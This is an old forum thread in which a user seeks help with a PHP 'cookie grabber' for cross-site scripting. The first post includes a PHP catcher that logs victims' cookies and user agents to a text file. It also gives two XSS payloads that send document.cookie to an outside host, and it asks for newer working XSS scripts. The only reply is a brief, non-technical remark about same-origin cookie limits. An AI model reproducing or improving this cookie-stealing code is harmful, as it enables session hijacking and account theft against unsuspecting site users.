Results 1 to 2 of 2

Thread: i need cookie grabber help on php

  1. #1
    Join Date
    Oct 2010
    Posts
    1

    i need cookie grabber help on php

    Well i made all , a log.txt, cookiegrabber.php, and redirect.php which contains xss script. but whenever i opened cookiegrabber.php its just show ip address, date, time but just cookie the main part it didnot show. But thats what i needed.

    So first question, can i grab my own cookie or not? is this a server problem, or server restriction, or server different environment or my script problem or is this because of new browsers, the script goes like below


    this catcher is ok it shows either
    <?php


    $cookie = $HTTP_GET_VARS["cookie"];
    $date = date ("l ds of F Y h:i:s A");
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $file = fopen('log.txt','a');
    fwrite($file,"DATE : $date || USER AGENT
    :$user_agent || COOKIE : $cookie \n");
    fclose($file);

    echo '<b>Sorry, this page is under construction</b>

    <br><br>Please click <a href="http://www.google.com">here</a>to go back to previous page'



    ?>



    1st xss script try disable

    <html>

    <script type="text/javascript">
    document.write("<a href='http://xyz.com/try/cookiecatcherr.php?cookie=" + document.cookie + ">CookieTest</a>");
    </script>

    </html>

    2nd xss script try didnot work

    <?php
    header("Location: http://ilovemessenger.msn.com/?mkt=nl-nl');location.href='http://xyz.com/try/try.php?cookie='+escape(document.cookie);escape('");
    exit;
    ?>

    please give me any xss script which works at present. New browser may be advance and powerful so give me something extraordinary one if anybody know or give me any website links thanks

  2. #2
    Join Date
    Dec 2007
    Posts
    2,291

    Re: i need cookie grabber help on php

    I am not sure and not a master in this, if there is a function to grab cookie variables, but i think you can maybe use $_COOKIE var and $HTTP_COOKIE_VARS var.But maybe its better to search in php.net. I dont know using them because i never used them. You need to grab the cookies on the SITE you want the cookies for. Because another site, cannot access another site's Cookies if that makes sense.

Similar Threads

  1. How to create a cookie
    By KALLIYAN in forum Software Development
    Replies: 3
    Last Post: 30-10-2009, 05:40 PM
  2. LG Cookie applications
    By B e B o in forum Portable Devices
    Replies: 2
    Last Post: 21-09-2009, 12:52 PM
  3. First Party Cookie vs Third party Cookie
    By Ballu in forum Technology & Internet
    Replies: 4
    Last Post: 13-08-2009, 01:30 PM
  4. Download Flash Video Grabber
    By avvia in forum Windows Software
    Replies: 3
    Last Post: 21-05-2009, 04:52 PM
  5. What is a Cookie?
    By Dharmavira in forum Technology & Internet
    Replies: 5
    Last Post: 18-02-2009, 12:33 PM

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Page generated in 1,710,839,842.99073 seconds with 17 queries